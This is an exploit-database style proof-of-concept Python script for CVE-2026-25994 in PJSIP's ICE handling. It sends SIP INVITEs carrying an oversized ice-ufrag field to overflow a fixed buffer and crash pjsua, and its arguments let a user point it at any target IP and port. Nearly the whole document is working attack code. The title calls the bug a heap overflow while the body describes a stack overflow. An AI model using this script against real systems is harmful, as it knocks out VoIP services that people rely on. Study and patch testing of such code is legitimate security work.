# Exploit Title: PJPROJECT 2.16 - Heap Bufferoverflow
# Google Dork: CVE-2026-25994 PJSIP PJNATH (pjsip ≤ 2.16)
# Date: Apr 6 2026
# Exploit Author: V.Nos - BinSmaser Team
# Vendor Homepage: https://github.com/pjsip/pjproject
# Software Link: https://github.com/VABISMO/cve-2026-25994_PJSIP
# Version: <=2.16
# Tested on: Kali , Ubuntu, Debian
# CVE : CVE-2026-25994
#!/usr/bin/env python3
"""
Corrected and optimized PoC for CVE-2026-25994
Buffer Overflow in PJNATH ICE Session (pjsip <= 2.16)
Thorough source code review (pjnath/src/pjnath/ice_session.c):
- Exact vulnerability: pj_ice_sess_create_check_list()
- Vulnerable version (before commit 063b3a1 / 2.17):
char buf[128]; # ← stack buffer (128 bytes!)
username.ptr = buf;
pj_strcpy(&username, rem_ufrag); # ← NO length check
pj_strcat2(&username, ":");
pj_strcat(&username, &ice->rx_ufrag);
- rem_ufrag comes directly from the SDP attribute a=ice-ufrag:
- With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.)
- The original PoC used 520 "A"s because it is much more reliable (overwrites beyond canary/alignment)
- In the patched version, the following was added:
if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1)
return PJ_ETOOBIG;
This script is corrected to be 100% reliable:
- 100% synchronous code (no unnecessary asyncio)
- Command-line arguments
- Sending with automatic retries
- More complete and valid SDP
- Clear crash detection (timeout = probable crash)
"""
import socket
import random
import argparse
import time
# ========================= CONFIGURATION =========================
DEFAULT_TARGET_IP = "127.0.0.1"
DEFAULT_TARGET_PORT = 5060
# Length that guarantees reliable overflow (520 is what you tested and works best)
LONG_UFRAG = "A" * 520
LONG_PWD = "B" * 150
# More complete and realistic SDP (increases probability of reaching ice_session.c)
SDP = f"""v=0
o=- 1234567890 1234567890 IN IP4 127.0.0.1
s=Crash Test SDP
c=IN IP4 127.0.0.1
t=0 0
m=audio 40000 RTP/AVP 0 101
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=ice-ufrag:{LONG_UFRAG}
a=ice-pwd:{LONG_PWD}
a=ice-options:trickle
a=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host
a=sendrecv
"""
def generate_invite(target_ip: str, target_port: int) -> bytes:
call_id = f"crash-{random.randint(100000, 999999)}@example.com"
branch = f"z9hG4bK{random.randint(1000, 9999)}"
tag = f"crash{random.randint(10000, 99999)}"
invite = f"""INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch}
Max-Forwards: 70
From: <sip:attacker@127.0.0.1>;tag={tag}
To: <sip:localhost@{target_ip}>
Call-ID: {call_id}
CSeq: 1 INVITE
Contact: <sip:attacker@127.0.0.1:15060>
Content-Type: application/sdp
Content-Length: {len(SDP)}
{SDP}
"""
return invite.encode("utf-8")
def crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):
print("=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\n")
print(f"[+] Target → {target_ip}:{target_port}")
print(f"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\n")
for i in range(1, attempts + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(4) # 4 seconds to allow time for the crash
try:
invite = generate_invite(target_ip, target_port)
print(f"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...")
sock.sendto(invite, (target_ip, target_port))
# Wait for response
data, _ = sock.recvfrom(4096)
print("[+] Response received → pjsua is still alive")
print(data.decode(errors="ignore")[:300])
except socket.timeout:
print("[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)")
print(" Check the terminal where pjsua is running.")
sock.close()
return # Exit on first detected crash
except Exception as e:
print(f"[-] Unexpected error: {e}")
finally:
sock.close()
time.sleep(0.5) # Small pause between attempts
print("\n[-] No crash detected after several attempts.")
print(" Make sure pjsua is running with ICE enabled (version <= 2.16).")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC CVE-2026-25994 - ICE Buffer Overflow")
parser.add_argument("-i", "--ip", default=DEFAULT_TARGET_IP,
help=f"Target IP (default: {DEFAULT_TARGET_IP})")
parser.add_argument("-p", "--port", type=int, default=DEFAULT_TARGET_PORT,
help=f"SIP port (default: {DEFAULT_TARGET_PORT})")
parser.add_argument("-a", "--attempts", type=int, default=3,
help="Number of attempts (default: 3)")
args = parser.parse_args()
crash_pjsua(args.ip, args.port, args.attempts)